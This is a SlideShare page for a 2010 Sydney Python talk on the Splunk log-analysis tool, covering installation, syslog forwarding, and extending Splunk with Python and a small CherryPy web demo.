Splunk and Python

Sydney Python October 2010
Kelvin Nicholson
What is Splunk?

“Splunk is the world’s leading software used to
monitor, report and analyze live streaming IT data
as wel...
Installing Splunk (on Ubuntu)

$ sudo dpkg -i splunk-4.1.5-85165-linux-2.6-intel.deb
$ sudo splunk enable boot-start
$ sud...
Splunk Welcome Screen
Configuring Splunk
● Configure Splunk to allow syslog traffic
● Configure devices to send syslog to Splunk
○ Linux (syslog...
Splunk Search Screen
Why I Like Splunk (Abridged)
● Dashboards of Search terms
■ Security alerts “login failed for”
■ STP network issues (“LEAR...
Splunk Simple Filtering
Extending Splunk with Python
● REST API. (Search only)
● Custom search command. (iplocation)
● Configuring scripted alerts...
Accessing Splunk Datastore
kelvinn@splunk:/opt/splunk/bin$ ./splunk cmd python
>>> import splunk.auth, splunk.search
>>> k...
Splunk Architecture

CherryPy built-in, sweet. What can we do with that?
Built-in CherryPy Fun

kelvinn@splunk:/opt$ cat splunktest.py
import cherrypy
import splunk.auth, splunk.search

def get_s...
View CherryPy Page
Resources + Thanks
Splunk introduction:
http://www.splunk.com/base/Documentation/4.1.5/Installation/Splunksarchitectureand...
Upcoming SlideShare
Loading in …5
×

Sydney Python Presentation (October 2010) - Splunk

1,092 views

Published on

This was a presentation I gave about Splunk to the Sydney Python group in October 2010. I talked in depth about modifying Splunk for interesting added functionality.

Published in: Technology
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
1,092
On SlideShare
0
From Embeds
0
Number of Embeds
2
Actions
Shares
0
Downloads
11
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide

Sydney Python Presentation (October 2010) - Splunk

  1. 1. Splunk and Python Sydney Python October 2010 Kelvin Nicholson
  2. 2. What is Splunk? “Splunk is the world’s leading software used to monitor, report and analyze live streaming IT data as well as terabytes of historical data – located on-premises or in the cloud.” -Splunk.com “Splunk is like google for log files.” -Kelvin
  3. 3. Installing Splunk (on Ubuntu) $ sudo dpkg -i splunk-4.1.5-85165-linux-2.6-intel.deb $ sudo splunk enable boot-start $ sudo /etc/init.d/splunk start
  4. 4. Splunk Welcome Screen
  5. 5. Configuring Splunk ● Configure Splunk to allow syslog traffic ● Configure devices to send syslog to Splunk ○ Linux (syslog-ng) destination loghost { udp("192.168.83.11" port (514)); }; log { source(s_all); destination(splunk); }; ● Cisco IOS no logging console no logging monitor logging 192.168.83.11 ● OSSEC <syslog_output> <server>192.168.83.11 </server> <port>8514</port> </syslog_output>
  6. 6. Splunk Search Screen
  7. 7. Why I Like Splunk (Abridged) ● Dashboards of Search terms ■ Security alerts “login failed for” ■ STP network issues (“LEARNING AND FORWARDING” ■ Duplex mismatches ■ Wildcard searches, e.g. “-server2k3-” ● My “WTF” filter (easy filter building) ● Beautiful trending (“cold start” AND “switch01”)
  8. 8. Splunk Simple Filtering
  9. 9. Extending Splunk with Python ● REST API. (Search only) ● Custom search command. (iplocation) ● Configuring scripted alerts. (tweet X alert) ● Directly to backend using Splunk's built-in modules. (Full module access)
  10. 10. Accessing Splunk Datastore kelvinn@splunk:/opt/splunk/bin$ ./splunk cmd python >>> import splunk.auth, splunk.search >>> key = splunk.auth.getSessionKey('admin','changeme') >>> my_job = splunk.search.dispatch('search sypy', namespace='search') >>> event_list = [] >>> for event in my_job.events: ... event_list.append(event.fields) ... >>> [{'_si':event_list print splunk,main, 'index': main, 'sourcetype': syslog, 'source': udp:514, '_kv': 1, 'splunk_server': splunk, '_time': 2010-10-06T19:40:37+1100, 'host': 192.168.83.5, '_sourcetype': syslog, '_raw': Oct 6 19:40:37 192.168.83.5 Oct 6 19:40:38 mini kelvinn: hello SyPy, hope you are doing well., '_serial': 0, '_cd': 0:275}, {'_si': splunk,main, 'index': main, 'sourcetype': syslog, 'source': udp:514, '_kv': 1, 'splunk_server': splunk, '_time': 2010-10-06T19:39: 33+1100, 'host': 192.168.83.5, '_sourcetype': syslog, '_raw': Oct 6 19:39:33 192.168.83.5 Oct 6 19:39:34 mini kelvinn: sypy, '_serial': 1, '_cd': 0:251}] >>> event_list[0]['_raw'] Oct 6 19:40:37 192.168.83.5 Oct 6 19:40:38 mini kelvinn: hello SyPy, hope you are doing well.
  11. 11. Splunk Architecture CherryPy built-in, sweet. What can we do with that?
  12. 12. Built-in CherryPy Fun kelvinn@splunk:/opt$ cat splunktest.py import cherrypy import splunk.auth, splunk.search def get_splunk_data(): key = splunk.auth.getSessionKey('admin','changeme') # replace with your credentials my_job = splunk.search.dispatch('search sypy', namespace='search', earliest_time='-24h') event_list = [] for event in my_job.events: event_list.append(event.raw) return event_list class HelloWorld: def index(self): splunk_list = get_splunk_data() return str(splunk_list) index.exposed = True cherrypy.config.update({'server.socket_host': '0.0.0.0', 'server.socket_port': 9999, }) kelvinn@splunk:/opt$ /opt/splunk/bin/splunk cmd python /opt/splunktest. cherrypy.quickstart(HelloWorld()) py I'm not a CherryPy expert, but it looks pretty P.S.
  13. 13. View CherryPy Page
  14. 14. Resources + Thanks Splunk introduction: http://www.splunk.com/base/Documentation/4.1.5/Installation/Splunksarchitectureandwhatgetsinstalled Splunk REST Search (with Python httplib example): http://www.splunk.com/base/Documentation/4.1.5/Developer/RESTCreateSearch Custom search command (iplocation): http://www.splunk.com/base/Documentation/latest/SearchReference/Customsearchiplocation How to write custom alerts: http://www.splunk.com/base/Documentation/4.1.5/Admin/Configurescriptedalerts Using Splunk's built-in Python modules: http://answers.splunk.com/questions/14/can-i-use-splunks-built-in-python-sdk-in-my-own-scripts Some information about Splunk's Python SDK: http://www.splunk.com/base/Documentation/4.1.5/Developer/PySDK Thanks .

×